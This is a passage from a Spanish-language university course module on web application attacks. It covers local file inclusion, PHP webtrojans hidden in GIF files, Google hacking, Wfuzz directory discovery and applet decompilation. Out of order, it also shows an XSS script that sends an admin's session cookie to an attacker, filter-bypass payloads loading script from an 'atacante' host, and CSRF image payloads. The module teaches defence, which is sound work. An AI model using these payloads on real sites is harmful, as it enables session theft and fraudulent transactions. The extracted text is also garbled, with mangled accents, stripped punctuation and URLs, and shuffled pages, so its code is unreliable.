de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 17: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

